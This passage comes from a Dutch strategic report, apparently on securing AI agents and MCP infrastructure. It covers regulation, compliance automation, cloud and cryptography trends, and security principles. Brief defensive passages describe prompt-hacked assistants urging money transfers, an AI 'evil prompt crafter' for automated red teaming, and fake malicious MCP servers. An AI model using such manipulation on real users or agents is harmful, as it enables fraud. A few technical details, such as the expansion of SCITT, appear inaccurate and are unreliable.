  • Financiële sector: Nederlandse banken pionieren met AI (fraude detectie, chatbots). Een hack die AI manipuleert kan fraude onopgemerkt maken of klanten verkeerd informeren (“Er is een storing, maak geld over naar …”). Banken vallen onder NIS2 en streng toezicht, dus hier is de lat hoog.
  • Energie & water: Denk eerder genoemd scenario’s ICS – sabotage via AI.
  • Zorg: Als ziekenhuizen AI gebruiken voor diagnoses, een hack kan levens direct raken door verkeerde adviezen of privacy lekken van medische dossiers.
• EU digitale soevereiniteit (Gaia-X, EU Cloud): Europa (met NL als actieve deelnemer) streeft naar soevereine cloud en AI oplossingen, minder afhankelijk van VS/China. Dit betekent:
  • Bouw van Europese AI models (EleutherAI etc) en infra. Maar zolang die nieuw zijn en kleiner ecosysteem, kunnen ze ook kwetsbaarder zijn (minder mature security). Dus paradox: je wilt soevereiniteit maar moet wel weer invest in security doen die grote spelers al hebben.
  • NL kan pushen op gemeenschappelijke security standaarden binnen dat EU AI ecosysteem. Bijvoorbeeld, dat elke service in GAIA-X moet voldoen aan minimal security baseline (soort SCIOS norm).
  • Ook kans: als wij security robust hebben, wordt dat USP voor EU AI (“veilig alternatief i.p.v. data naar Silicon Valley”).
  • Toch moeten we reëel: soevereine clouds verminderen risico op buitenlandse data subpoenas, maar niet per se op technische aanvallen – daar blijft internationaal samenwerking nodig.
• Rijksoverheid en digital autonomie: Er is discussie dat NL (samen EU) zelf cruciale tech in de hand wil houden. AI valt daar nu misschien ook onder (men wil eigen LLMs). Dit impliceert dat de overheid meer eigen AI infrastructuur zal gaan beheren (denk aan BZK die met TNO of SURF eigen GPT model traint voor overheid). Dit is goed qua controle, maar overheid moet dan wel top notch beveiligingscapaciteit erop zetten. Men zal niet kunnen leunen op Microsoft’s security (zoals bij Azure OpenAI), maar zelf alle maatregelen uit dit rapport moeten implementeren. Dit vereist ook mensen – mogelijk schaarste. Strategisch moet NL investeren in skills (opgeleid personeel) om dat soevereiniteitsideaal veilig waar te maken.

Resumerend voor NL de dreiging is reëel en complex, maar NL heeft ook sterke punten (expertise, internationaal netwerk, high awareness). We moeten die benutten publiek-private samenwerking (bijv. Dutch AI Coalition + NCSC op security), kennisdeling, en ambitie tonen door zelf de veiligste AI systemen ter wereld te willen bouwen. Dat is niet alleen defensief, maar kan ook een exportproduct zijn (veiligheid als selling point).

Regulatory & compliance evolutie

Nu we dreigingen hebben behandeld, richten we op hoe de regelgeving zich ontwikkelt en hoe organisaties hierop kunnen voorsorteren. De EU is zeer actief met nieuwe wetgeving (AI Act, NIS2), maar ook sectorale regels blijven bewegen. Compliance zal meer real-time toezicht vereisen, en verantwoordelijkheid (aansprakelijkheid) rond AI zal moeten worden ingekaderd.

Toekomstig regelgevingslandschap (komende 3-5 jaar)

• EU AI Act (2025+): Deze verordening zal technische en organisatorische eisen stellen aan bepaalde AI-systemen. Hoewel details nog in flux zijn, komen er zeker verplichtingen als:
• Risico-assessment en mitigaties documenteren: Je moet per AI-systeem veiligheidsrisico’s (inclusief cyber) in kaart hebben en maatregelen treffen[101][102]. Ons rapport zou daarvoor input zijn.
• Transparency: AI-systemen moeten verklaren dat ze AI zijn. Voor MCP betekent dat bijv. als een agent namens iemand mailt, duidelijk is dat AI opgesteld heeft (om misleiding te voorkomen).
• Human oversight: In high-risk cases moet mens kunnen ingrijpen. Dus technische implementatie dat menselijke override mogelijk is (noodknop).
• Security requirements: Verwacht iets als “AI systems shall be resilient to errors, faults or attempts to manipulate at time of use”. Dit betekent eigenlijk robust design, input filtering etc. Men zou ISO 24029 (AI security) of ENISA guidelines kunnen refereren als standaard van beleid.
• Conformiteitsbeoordeling: High-risk AI moet voor marktintroductie getest/gecertificeerd. Dit kan inhouden penetratietests, dataset audits, bias checks. Orgs die eigen AI bouwen moeten dus compliance assessment pipeline opzetten (vergelijk CE markering, maar dan voor AI). Dat is een hele nieuwe discipline.
  • Voor MCP is de vraag: valt het onder high-risk? Waarschijnlijk wel als de tools bijvoorbeeld kritieke beslissingen maken (bv AI in HR of rechtsgebied). Dan valt je hele agent+MCP stack onder scope.
• Sectorale regelgeving (PCI-DSS, HIPAA, etc):
• PCI-DSS (betalingsverkeer): Als AI betaalgegevens verwerkt, moet dat net zo goed PCI compliant zijn: versleuteld, geen PAN in logs, MFA voor toegang tot card data, etc. Zolang AI slechts chat is, niet van toepassing, maar als agent geldtransfers doet wel. Payment Card Industry kan eigen guidelines voor AI uitbrengen: bv. hoe om te gaan met AI die creditcardnrs mogelijk leest (waarschijnlijk: verbod of real-time masker).
• HIPAA (gezondheidsdata VS): Stel Philips of een NL ziekenhuis gebruikt AI op patientdata, HIPAA eist strikte access control, audit logging, en sanction policies. AI mag niet de hele EPD doorkruisen zonder gedocumenteerde toestemming en noodzaak. Auditors zullen dat checken. In de VS worden nu frameworks opgesteld voor “Safe AI in Healthcare” door z.g. CHAI (Coalition for Health AI).
• NIS2 sectorale uitwerking: NIS2 is breed, maar sectoren (zoals energie) zullen specifieke invulling geven wat AI-security betekent. Bv. TenneT (stroomnet) stelt eigen eisen als ze AI controlling hebben, want een fout kan black-out veroorzaken, wat direct staatsveiligheid raakt.

Als jouw organisatie in zo’n sector is, moet je zowel algemene AI Act als specifieke regelset naleven. Dit kan tot overlappingen of zelfs tegenstrijdigheden leiden – vroegtijdig in dialoog met toezichthouder kan helpen interpretaties afstemmen.

• Grensoverschrijdende compliance conflicten: Multi-cloud en multi-geografie deployment stuit op verschillende regimes:
  • VS vs EU: Patriot Act/FISA vs GDPR, reeds conflict. Bijvoorbeeld Microsoft moest in EU cloud contracten beloven dat ze data verplaatsen als opvraging US. Bij AI supply chain: wat als je een US AI model gebruikt op EU data? Jurisdictioneel complex, wellicht valt dat onder data export.
  • China: Nieuwe Chinese wetgeving verplicht dat AI getraind in China “in lijn is met socialistische waarden” en data in China blijft. Als een NL bedrijf Chinese markt bedient met AI, moet dat splitsing maken of Chinese cloud gebruiken.
  • Oplossing in enterprise: segmentatie van data en computation per regio, en streng contractmanagement. Soms ook bewuste keuze: China markt weigeren of aparte variant bouwen, want compliance burden te groot.
  • Dit kan ook juridisch: EU Cloud Code of Conduct, of nieuwe EU-US Data Privacy Framework (als dat standhoudt) wat overdracht weer toelaat.
  • Realiseer dat een incident in Nederland met een AI tool van Amerikaans bedrijf potentieel twee regimes raakt (AP en Amerikaanse FTC bv.), dus je moet multi-oversight aankunnen.
• Aansprakelijkheidskader & verzekering: Wie is aansprakelijk als AI schade berokkent? Dit is onderwerp van EU’s AI Liability Directive in de maak.
  • Mogelijk keert bewijslast om als AI betrokken is: ontwikkelaar moet aantonen dat niet zijn schuld was. Dit zet druk op goede log & bewijs (observability helpt).
  • Je kunt proberen contractueel aansprakelijkheid te beperken (OpenAI doet dat, maximaal $ in ToS). Maar wet kan dat opzij zetten bij consumenten of critical harm.
  • Verzekeraars ontwikkelen cyberpolissen die AI-risico’s dekken. Verwacht dat premies lager zijn als je kunt aantonen solide security (zoals nu ISO27001 korting kan geven).
  • Interne governance: stel AI van jouw bedrijf maakt fout waardoor klant schade lijdt. Normaal is dat bedrijfsaansprakelijkheid. Als je kunt bewijzen dat klant eigen instructie debet was of dat je alle voorzorgen had genomen, scheelt dat zaak.
• Een potentieel idee: AI incident respons team inclusief jurist dat direct bij ernstig AI-fout bekijkt hoe liability zit en wat te communiceren om aansprakelijkheid te beperken.

We kunnen zien dat compliance niet statisch is er komen meer eisen en het gaat toe naar “real-time compliance”, waarin je continu moet aantonen dat je binnen lijntjes loopt (bv. automatische audit rapportage). Dit brengt ons bij volgende onderdeel.

Compliance automatisering

Om te kunnen voldoen aan al die evoluerende verplichtingen zonder dat het bedrijf verstikt in audits, is automatisering en integratie van compliance in tech processen noodzakelijk:

• Policy as Code voor compliance: We noemden al policy as code voor security, maar ook compliance regels kunnen gecodeerd:
  • Bv. een regeltje dat alle AI conversational logs ouder dan 30 dagen automatisch gewist (AVG data minimization), geschreven als script of retention policy.
  • Of een OPA regel: “Geen deployment naar productie als DPIA_field in config niet = completed”. Je kunt DevOps pipelines koppelen met compliance door require dat bepaalde metadata (DPIA done? risk rating?) ingevuld is, anders pipeline halt.
  • In breed concept: Infrastructure as Code meets GRC (governance risk compliance). Enkele startups doen dit, maar men kan zelf al beginnen met checks in CI (checklist enforcement).
• Real-time monitoring van compliance status: Stel KPIs op voor compliance:
  • Percentage van AI toepassingen met up-to-date DPIA.
  • Aantal open high-risk findings in AI systemen (uit pentest) en trend.
  • Training van medewerkers: % dat AI security cursus gedaan.
  • Maak een dashboard voor CISO/Chief Compliance waar ze 24/7 kunnen zien of men “in groen” is. Dit is anders dan vroeger papieren audits eens per jaar.
  • Tools als ServiceNow GRC of Excel sheets volstaan als start. Maar uiteindelijk wellicht blockchain ledger voor compliance events (idee: elke keer dat systeem config verandert, log naar ledger; auditor kijkt daar in).
• Regulatory reporting automation: NIS2 verplicht binnen 24 uur melding dat red je alleen met deels geautomatiseerd voorbereide rapport:
  • Zorg dat je templates klaar hebt voor incidentmelding waar relevante info (timestamp, impacted systems, type data, voorlopig impact) snel ingevuld kan uit SIEM.
  • Overweeg een tool die uit logs meteen aantal affected records etc berekent als je een bepaald incident labelt.
  • Ook voor AI Act compliance: als je conformiteit moet aantonen, kun je misschien een continuous compliance tool laten draaien die periodiek uit code repo, test resultaten en config een “Technical Documentation” doc genereert (scheelt handwerk).
  • Voor GDPR: datalek rapport naar AP, misschien integreren met incident system zodat bij marking “privacy data involved: yes” automatisch conceptmelding AP klaar staat.
• Audit trail generatie: AI beslissingen moeten uitlegbaar zijn. Je zou geautomatiseerd per belangrijk AI output een “audit record” maken met input, output, welke regels gevolgd, welke data geraadpleegd. Zodat als toezichthouder vraagt “waarom is deze lening geweigerd?” je een samengesteld rapport uit systemen kunt trekken en niet weken analoog puzzelen.

Dit alles vergt investeringen in tools en procesverandering, maar payoff is minder boetes en efficiëntere compliance. Ook geeft het management gemoedsrust dat men controle houdt over AI, wat goed is want angst voor oncontroleerbare AI is hoog bij publiek en bestuurders.

Cloud architectuur evolutie & security

AI en MCP leven in cloudomgevingen die zelf evolueren. Multi-cloud, edge computing, confidential tech, quantum cloud alle nieuwe trends hebben invloed op hoe we AI veilig deployen. Ook security tooling evolueert mee. Hier schetsen we enkele ontwikkelingen:

Multi-cloud en hybride omgevingen

• Soevereiniteitsoplossingen in federatieve omgevingen: Zoals besproken, Europa wil soevereine cloud (Gaia-X, European Cloud Federation). Dit leidt tot federatie tussen clouds van verschillende landen/providers.
  • Technisch trust tussen ID-systemen (federated identity), data exchange formats gemeenschappelijk, en mogelijk dat data altijd in eigen jurisdictie blijft terwijl compute elders is (door PET’s).
  • Een praktijkvoorbeeld: een NL zorginstelling draait AI in AWS, maar wil data in NL: ze kunnen encrypted data naar AWS sturen, model trainen, encrypted result terug none of raw data in VS. Dit vergt geavanceerde crypto of enclaves.
  • We zien nu opkomst van “Data Clean Rooms” partijen delen data voor ML in een omgeving waar niemand elkaars data kan raw zien (Google’s ADS Data Hub bijv.). Dit concept zal uitbreiden naar generieke AI: multi-org data verwerkingen met privacy.
  • Voor security teams: dit zijn complexe archi’s, maar wel veiliger by design als goed gedaan. Ze moeten wel attesten dat de cryptografie en isolatie echt werken (certificeringen e.g. FIPS, Common Criteria).
• Edge integratie (Edge/Fog computing): Veel AI zal richting de edge gaan vanwege latency en privacy (denk aan fabrieksterrein AI nodes). Een edge MCP server kan direct bij sensoren staan en relevante data lokaal houden.
  • Security trade-off: edge devices zijn fysiek minder beveiligd vaak en krijgen minder frequente updates – een doelwit voor aanvallen. Je moet cloud-grade security (patch, monitor) doortrekken naar honderden edge nodes.
  • Misschien microVMs op edge voor isolatie (K3s with Kata).
  • Network: edges hangen vaak aan 4G/5G – extra encryptie tunnels nodig.
  • In AI context, een compromised edge node zou data manipuleren voor model (valse sensor input) of stiekem data lekken. Zero Trust netwerk (mutual auth on every message) en anomaly detectie op sensor gedrag kan mitigeren.
  • Dit gaat spelen in bijv. slimme steden, waar veel devices met AI-chips beslissingen nemen.
  • Nederlandse context: Smart City trials moeten security net zo meedesignen als functionaliteit, anders is risico sabotage of privacy incidenten (camera AI hack).
• Confidential computing adoptie: We noemden enclaves al. Grote cloud aanbieders bieden nu Confidential VMs (Azure, GCP) en enclaves (SGX, AMD SEV). De adoptie zal toenemen naarmate enterprise meer vertrouwelijke data in cloud wil behandelen.
  • Voor AI dit betekent dat je een LLM op cloud kunt draaien maar toch guarantee dat provider niet meeleest. Azure heeft bijvoorbeeld Confidential Containers (aksvm). Dit gaat een standaard worden voor alles wat privacygevoelig is.
  • Securityteams moeten nu experimenteren: plan POCs, kijk naar performance hit (SGX had 30% overhead, SEV minder).
  • Straks zal AI Act mogelijk belonen als je enclaves gebruikt (score beter op data security), dus compliance kan dit pushen.
  • Een nuance: enclaves beschermen tegen cloud admins, maar niet per se tegen kwetsbaarheden in je eigen app. Als je code in enclave lek heeft, attacker binnen enclave is inside. Dus nog steeds code kwaliteit en trad security doen.
• Quantum cloud services: IBM en andere bieden nu al quantum computing as service (voor special taken). In de toekomst kan quantum gebruikt worden in AI (bv. quantum ML algos).
  • Qua security twee dingen: quantum kan cryptografie breken (besproken), maar ook andersom: quantum random generators kunnen sleutelgeneratie verbeteren (onvoorspelbaarder).
  • Ook mogelijk dat quantum kan helpen in optimaliseren beveiligingsparameters (snel door config search).
  • Risico: aanvallers kunnen quantum gebruiken om bijv. snel een ML model te reverse engineeren of CAPTCHAs breken – dus je moet ook je defensie kwantum-upgraden (post-quantum crypto, quantum-safe algorithms).
  • Klinkt futuristisch, maar planning horizon hier is wel 5-10jr. Organisaties met opgeslagen topgeheimen zijn er nu al mee bezig, want topgeheimen data kan over 10 jr gedecrypt worden.

Next-generation security tooling

• ZTNA evolutie voor AI/MCP: Zero Trust Network Access betekent dat elk toegangverzoek individueel geauthZ is, geen impliciete trust binnen net. Dit concept zal zich uitvouwen naar Zero Trust for AI Agents: elk tool invocation is gecheckt, elke data access moet contextually allowed zijn.
  • Dit vereist dynamische authZ engines (ABAC polcies: “AI agent has role X, data has sensitivity Y, environment=trusted, thus allow”). Dit kan in real-time via OPA or via hooking in code.
  • ZTNA product vendors (zscaler, netskope) gaan wellicht modules maken specifiek om AI integraties te bewaken. (Bijv. monitors an agent’s access patterns in real time vs policy).
  • Bedoeling is dat als agent ineens iets probeert wat niet consistent met zijn rol, de access wordt gedeny’d en gemeld.
• Cloud-native security tool evolutie: Tools als Falco, OPA, Kubewarden breiden zich uit:
  • Falco kan nu al containers monitoren, wellicht komt AI-specifieke rulesets (monitor /dev accelerators? Or hooking into AI libs).
  • OPA Gatekeeper kan nu al rego polcies, men zal libraries delen “Policy pack for AI deployments” die standaard best practices afdwingen.
  • Aqua Security en ander container sec bedrijven voegen AI context (vb detecteren of container running AI model unexpectedly connects out).
  • Expect AI-savvy security startups: Backslash Security is er een voorbeeld dat code van MCP servers scant[34]. Meer van dat zal komen – dev tooling beveiligers richten zich op prompt inj, etc. Die producten zullen helpen devs realtime feedback “pas op, dit plugin laat command injection toe”.
• Service Mesh maturatie: Hier wordt gewerkt aan:
• mTLS overal en automatische key rotation: Mesh neemt alle cert management over, keys roteren dagelijks, minimal window if compromised.
• Enhanced policy: Mesh zal richting layer7 autorisatie ook gaan (zoals Envoy ext-auth), zodat zeer fijnmazige policies (per method).
• Observability integratie: Traces en metrics out of box, wat we al benutten voor detectie.
  • Mogelijk “AI Mesh”: een speciale overlay net voor AI agent-tool comms, geoptimaliseerd voor streaming SSE, etc, met ingebakken auth en logging. Zou een niche product kunnen worden: essentially MCP-as-a-mesh.

De kern de security toolbox blijft verbeteren, en integratie en automation worden sleutel. Organisaties moeten modular denken bouw je AI infra zo dat je makkelijk nieuwe sec tools kan inschuiven (loosely coupled, APIs). Wie flexibel is, kan sneller op nieuwe dreigingen antwoorden door gewoon nieuwe tool in cluster te gooien of policy updaten, in plaats van architectuur te herzien.

Bleeding-edge onderzoek & innovaties

Dit deel verkent spul dat nu nog in labs zit maar baanbrekend kan zijn voor AI security:

Cryptografische toepassingen

• Zero-Knowledge Proofs (ZKP): Hiermee kan je bewijzen dat iets waar is zonder het geheim zelf te onthullen. Toepassing in authenticatie/autor: een AI agent kan via ZKP bewijzen dat hij een geldige token bezit voor resource, zonder token zelf te tonen (voorkomt diefstal). Of een user bewijst eigenschappen (“ouder dan 18”) aan AI zonder identiteit prijs te geven (handig bij AI content filtering?).
  • Voor autorisatie: zou concept ZK-OAuth kunnen ontstaan: IdP geeft een ZK-proof in plaats van JWT, dat de resource server verifieert. Dan als attacker intercept is hij niks mee, want proof is one-time en non-transferable.
  • Dit vergt zware cryptografie (ZK-SNARK circuits etc), nog niet realtime handig, maar er gaan wel startups die dit proberen (Elusiv, ZKonduit etc).
• Secure Multi-Party Computation: Eerder aangestipt, maar continuing: denk aan collaborative AI waar data van meerdere bronnen samenkomt zonder data share. Bijvoorbeeld banken die gezamenlijk fraudemodel trainen via MPC. Dit gebeurt al in pilot.
  • Combineer SMPC met AI Agents: meerdere org’s AI’s lossen gezamenlijk een probleem op (supply chain optimization) zonder hun eigen data volledig bloot te geven. Ze delen deelresultaten encrypted.
  • Dit vereist complexe protocols en is traag, maar als trust laag is tussen partijen wel de enige weg.
  • EU stimuleert dit, zie ook EDIH projecten etc.
  • Security challenge: implementatiefouten in SMPC kunnen hele data lekken, dus streng formeel verificatie nodig.
• Blockchain integratie (immutable audit trails, decentralized governance): Blockchain/distributed ledger kan zorgen dat AI acties onveranderbaar gelogd worden (immmutable audit trail). Bijv. elke MCP toolcall wordt in een ledger gehash’t zodat achteraf gerommel zichtbaar is.
  • Dit kan nuttig zijn bij incident: je weet zeker log is niet tampered door attacker (tenzij hij ledger nodes ook hackt).
  • Ook kan men DAO-achtige governance voor open source AI tools doen: wijzigingen alleen door consensus van maintainers vastleggen, zodat supply chain attack moeilijker (een aanvaller zou majority keys nodig hebben).
  • Praktisch gezien, blockchain overhead en integratiecomplex maken dit niet 1e keus intern, maar voor multi-org scenario’s wel mogelijk.
  • Smart contracts: men zou bijvoorbeeld betaling per AI call via Ethereum automatiseren, irrelevant hier behalve dat het weer een aanvlak is dat secure code in chain moet (anders hack via contract).
• Homomorphic encryption (berekening op versleutelde MCP payloads): We noemden de beperkingen. Er is wel gaande dat simpele AI tasks (lineaire modellen) wel homomorph kunnen. Generative AI is ver weg.
  • Maar misschien splits je taak: gevoelige data attributen homomorphisch verwerken (zodat je tellingen etc. safe doet) en ongevaarlijke delen normaal.
  • Als HE beter wordt (schetvorm: doorbraken in FHE circuits), zou het ideaal scenario zijn: je stuurt alles encrypted naar OpenAI, en die geeft encrypted antwoord terug dat alleen jij decodeert. Dan kan data best naar US datacenter want ze zien gibberish.
  • Microsoft werkt aan dit (SEAL lib). Maar generative presteert nog belabberd onder HE door overhead. Wellicht dat specifieke operations wel kunnen (embedding matching?).

Deze cryptotechnieken zijn hoopgevend om het fundamentele conflict tussen gebruiksgemak AI vs data privacy op te lossen. Blijf de literatuur volgen en doe POCs waar mogelijk, zo ben je er klaar voor als ze rijp worden.

Novel detectie & respons technieken

• Graph Neural Networks voor threat detectie: GNNs kunnen relaties tussen entiteiten modelleren (devices, users, processes) en zo context meenemen waar traditionele ML flat features had. In security zagen we al inzet voor insider threat detection en malware classification.
  • Voor MCP: men zou een graph bouwen van AI interactions: nodes = users, AI agent, tools, data. Edges = access or communication. Een GNN kan leren wat normale subgraph is en vreemde linken detecteren (bv. gebruiker X normaal nooit direct tool Y, nu wel, terwijl user X is ook cluster met marketing, tool Y is finance – anomaly).
  • Ook bruikbaar voor correlatie: combineer EDR events, network events, identity events in één graph GNN highlight mogelijk multi-stage attack die anders niet opvalt.
  • Dit is cutting-edge SIEM UEBA research. Microsoft en AWS doen wat in cloud logs met GNN (beide hebben preview features daarvoor).
  • Nadeel: complex te trainen en vergt data labeling (semi-supervised).
• Geautomatiseerd red teaming (AI-gedreven pentesting): Ironisch maar passend: inzet AI om je AI te testen.
  • ChatGPT-achtig model getuned als evil prompt crafter die probeert jouw agent te misleiden of exploit te vinden.
  • Of ML bots die fuzzing doen op MCP APIs, sneller en intelligenter dan dumb fuzzers. Backslash’s code analysis is al geautomatiseerde scanning, hier praat je echt runtime test: een AI die zelf chain-of-thought heeft “als ik X instructie geef, doet AI Y? Zo nee, probeer Z.”
  • Dit zal helpen door de enorme ruimte van promptcombinaties te doorzoeken. Je moet wel zorgen dat je red-team AI niet onbedoeld schade doet (voer op test env!).
  • Dit concept wordt door OWASP wellicht omarmd (Project “AI Fuzzer” etc).
  • Gezien schaarste mensen is dit aantrekkelijk, maar zal menselijke begeleiding nodig houden om resultaat te beoordelen.
• Chaos engineering voor AI/MCP resilience: Chaos engineering is gecontroleerd falen injecteren om te testen of systeem robuust is. Voor MCP security kun je:
  • Chaos experimenteer zet een fake malicious MCP server op en kijk of jouw devs of agents per ongeluk connecten (hopelijk niet!). Of corrupte bepaalde data en zie of AI correct degradeert of helemaal onzin doet.
  • Ook security chaos simuleer netwerk partition (zie of agent veilig degradeert), revoke tokens random (AI moet daar mee om gaan), of voer zelfs kleine exploits uit in lab om te zien wat detectie doet.
  • Het idee is van incidenten leren door ze zelf te veroorzaken voordat vijand het doet. Netflix deed dat voor uptime (Chaos Monkey); we doen het voor security Chaos Simians for Security (concept bestaat al).
  • Belangrijk wel veilig, want je wil geen echte breach veroorzaken. Afbakenen in test is key.
• Digital Twins voor security testen: Digital Twin is een high-fidelity simulatie van systeem. Als je een complete digitale kopie van je AI+MCP stack kan draaien (met gesimuleerde users, data), kan je daarop eindeloos experimenteren zonder productie te raken.
  • Je kunt bijvoorbeeld een twin maken van een ziekenhuis IT incl AI assistent, en daarop APT scenario’s afspelen, wat gebeurt.
  • Dit concept is nog zelden toegepast op security – wel op performance (digital twin van datacenter).
  • Maar in kritieke infra (energie) is het upcoming: men wil een testgrond net als real, zodat hackeffecten getest kunnen worden.

Als een organisatie resourceful is, dit zijn dingen om aan te pakken in een 1-3 jaar horizon. De waarde is enorm, want het geeft voorsprong in detectie en mitigatie.

Strategische vooruitzicht (10 jaar vooruit en organisatie/economie)

We wagen ons aan een blik in de toekomst (5-10+ jaar) om te zien welke trends nu ingezet zijn die dan bepalend zijn, zodat strategen nu de koers kunnen uitzetten.

Technologie evolutie (10+ jaar)

• Post-HTTPS protocollen: Tegen 2035 zijn er mogelijk compleet nieuwe protocollen voor communicatie die inherente security bevatten. Denk aan Quantum Key Distribution networks voor geheime overdracht (al in tests). Of HTTP/4 waarin identiteit en integriteit by default zitten (een soort integratie van OAuth in transport).
  • We zien initiatieven als SCITT (Secure Content Authentication for IoT data) en DID (Decentralized Identifiers) opkomen – misschien integreren die tot een “HTTP with attestation”. Dat zou AI/MCP goed doen: je kunt dan zeker weten dat data van bron X komt en niet gemanipuleerd.
  • Er is ook oproep voor privacy-preserving communication protocols – zodat meta-data lek ook minimaler is (nu TLS header lekt servername via SNI; in future misschien niet eens dat).
  • Voorbereiding: investeer in standaardisatie (stuur experts naar IETF/ISO voor AI relevant protocols) en experiment met prototypes.
• Hardware security evolutie: Over 10 jaar hebben we wellicht speciale AI security chips – net zoals nu TPMs voor crypto. Bijvoorbeeld, AI accelerator with secure enclave onchip die ervoor zorgt dat model in hardware encrypted blijft. Nvidia of Google kunnen dat ontwikkelen onder druk van enterprise.
  • Apple heeft Neural Engine + Secure Enclave concept (face recognition ML runs in enclave).
  • We zullen meer custom silicon zien om AI sneller te doen, hopelijk met security features: memory encryption, anti-tamper, etc.
  • Ook TPM 3.0 of opvolger met direct AI support? Niet gek, als AI integriteit moet geverifieerd (boot attestation concept voor model loading).
• Biological computing interfacing: Klinkt Sci-Fi, maar er is onderzoek naar DNA-computing en brain-computer interfaces. Over 10+ jaar kunnen we begin zien van biologische data direct door AI verwerkt. Dit opent bizarre security dimensies:
  • DNA-based exploits: er was ooit POC waarbij malware in DNA-streng gezet die sequencer software hackte. In AI context: als je AI hebt die DNA data verwerkt, dat scenario komt weer.
  • Brain-Computer: als AI direct neurale signalen leest (voor bijv. aansturen prothese), wat als hacker via AI iets stuurt dat fysieke schade doet of de persoon beïnvloed? Dan heb je letterlijk neuro-security nodig, bescherming tegen cognitive hacks via device.
  • Denk ook data storage in DNA, dat moet net zo beschermd worden (hoe detect virus in DNA data, wat als leestekens gemanipuleerd).
  • Dit is erg ver, maar bedrijven zoals Neuralink (Elon Musk) hopen interfaces te hebben dit decennium. Security comm daarover zal cruciaal zijn want een hack zou catastrofaal impact hebben op mensen.
• Cognitive security & AI-driven social engineering: In 10 jaar is AI zo geavanceerd dat social engineering op schaal kan: hyperpersoonlijke phishingberichten perfect opgesteld door AI, deepfake video’s realtime. De mens is zwakste schakel en AI zal die nog zwakker maken door overtuigender aanvallen.
  • Men spreekt al van Cognitive Security als discipline: beschermen tegen manipulatie van menselijke denken door AI of tech. Dit zit deels in psychologie (bewustwording) en deels in detectie (herkennen deepfakes, etc).
  • Orgs moeten nu al denken: traditioneel trainen we staff “niet op phishing link klikken”. Binnenkort moet je ze trainen “vertrouw video/audio niet blind, verifieer via out-of-band”.
  • Ook intern: als je een AI assistent hebt, zorg dat medewerkers niet klakkeloos diens advies volgen (AI kan bijv. zeggen “wire money to X” door prompt hack). Die Verificatiecultuur moet worden ingebed: “AI said it, but check plausibility en policy”.
• Technologie zal ook helpen: watermerken voor AI content (OpenAI werkt aan detect, maar slimmen omzeilen), blockchain notarization voor authentic media.

Veel van deze evoluties vragen om lange termijn investeringen in R&D en adaptieve strategie. Het is aan CISO/CTO om horizon scanning te doen en innovaties (samen met academici) te verkennen zodat de organisatie niet voor verrassingen komt te staan.

Organisationeel & economisch

• Security as a Service evolutie: Beveiliging van AI/MCP kan complex zijn voor individu organisaties. We kunnen opkomst zien van gespecialiseerde managed security services gericht op AI.
  • Bijvoorbeeld, een MSSP die 24/7 jouw AI-agent verkeer monitort met advanced AI zelf, of een cloud service die je AI model dagelijks pentest.
  • Men zal dit gaan aanbieden omdat vraag groot en expertise schaars. Nadeel: vertrouwen, want geef je niet de sleutels van kippenhok aan misschien weer potentieel target?
  • Toch, voor MKB of kleinere overheden is zo’n service wellicht enige optie omdat ze zelf niet skills hebben.
  • Grotere bedrijven kunnen ook externe expertise inhuren b.v. jaarlijks AI red-team laten doen door zo’n specialist firm.
  • Strategisch voor Rijk: misschien een centrale AI security service die alle ministeries helpt (shared CISO office voor AI)? Past bij SSO idee.
• Verzekeringsmarkt veranderingen: Cyberverzekeringen worstelen met accumulatie risico (één event -> veel claims). Met AI-risico’s erbij wordt dat erger (een supply chain exploit kan duizenden bedrijven raken tegelijk).
  • Verzekeraars zullen strenger worden in polisvoorwaarden, specifiek omtrent AI usage. Misschien uitsluiting “loss due to autonomous AI decisions” tenzij extra premium.
  • Of ze bieden speciale AI policies die bv. schade door fouten van eigen AI dekken (een soort product liability verzekering).
  • Je zult als klant moeten aantonen dat je AI adequaat beveiligd en getest is (anders krijg je hoge eigen risico).
  • Dit kan positieve prikkel zijn: wie robust AI security heeft, krijgt goedkopere verzekering. Lijkt op hoe brandverzekering korting geeft met sprinkler installatie.
• Skill development en educatie: Er is nu al tekort aan cloud security mensen, laat staan AI security specialisten. Organisaties en overheid moeten investeren in opleidingen:
  • Interne training: bestaande sec professionals bijscholen op AI principes en attack vectors (deze report zou als lesmateriaal kunnen dienen).
  • Recruitment: werf ook mensen met mix skills (b.v. data scientist met cyber-affiniteit, om als AI security analyst te werken).
  • Partnerships met universiteiten: zorg dat TU’s en hogescholen curricula hebben over secure AI engineering. Misschien sponsoring van leerstoel “AI Security” (past NLAIC).
  • Awareness voor alle medewerkers: AI-savvy workforce die basis risico’s snapt is nodig. Phishing awareness moet uitgebreid met “prompt injection awareness”: deel geen company secrets aan ChatGPT publiek, etc.
  • Overheid kan raamwerken maken (zoals “AI Security Fundamentals” certificering) om standaard kennisniveau te krijgen in de markt.
• Economisch modeling van security investeringen: Traditioneel was ROI van security lastig (cost of avoidance). Met AI kan men misschien modelleren:
  • AI kan zelf helpen in cost-benefit analyse door threat modeling big data te crunch.
  • Er komen frameworks zoals FAIR (Factor Analysis of Info Risk) nu, maar voor AI moeten we nieuwe metrieken definiëren (bv. “value of prevented model bias incident”).
  • Organisaties kunnen scenario-analyses doen: “Als we X investeren in supply chain security, verkleinen we kans op incident Y van 20% naar 5%, wat over 5 jaar verwachte schade Z scheelt – ergo ROI > 1”.
  • Dit moet richting board in hun taal (risk appetite, risk-adjusted returns). CFO’s zullen hier ook bij betrokken moeten worden, niet alleen CISO.
  • Misschien ontwikkelt men AI tools om security ROI te berekenen (met game theory?), dat zou wel passend zijn: AI helps justify securing AI.

Alles bij elkaar AI verandert niet alleen techniek maar hele bedrijfsvoering en marktdynamiek. Security moet mee transformeren van reactive cost center naar strategische enabler: zorg dat organisatie veilig van AI kan profiteren waar concurrent dat niet durft wegens risico. Dan wordt security een competitief voordeel.

Architectuur principes voor veilige AI/MCP

Afsluitend presenteren we kernprincipes die gedurende dit hele rapport impliciet naar voren kwamen. Deze principes fungeren als leidraad bij ontwerpbeslissingen en governance rondom MCP:

• Identity-First: Identiteit is de nieuwe perimeter. Authenticatie en autorisatie moeten centraal staan bij elke interactie (Zero Trust). Concreet: elke AI agent, elke MCP server, elke gebruiker krijgt een sterke digitale identiteit en er wordt per actie geverifieerd “mag dit subject deze actie op dit object uitvoeren?”. Dit voorkomt implicit trust. Voorbeeld: Gebruik OIDC tokens voor elk MCP-verzoek intern i.p.v. simpel API key; valideer token claims altijd[73][74].
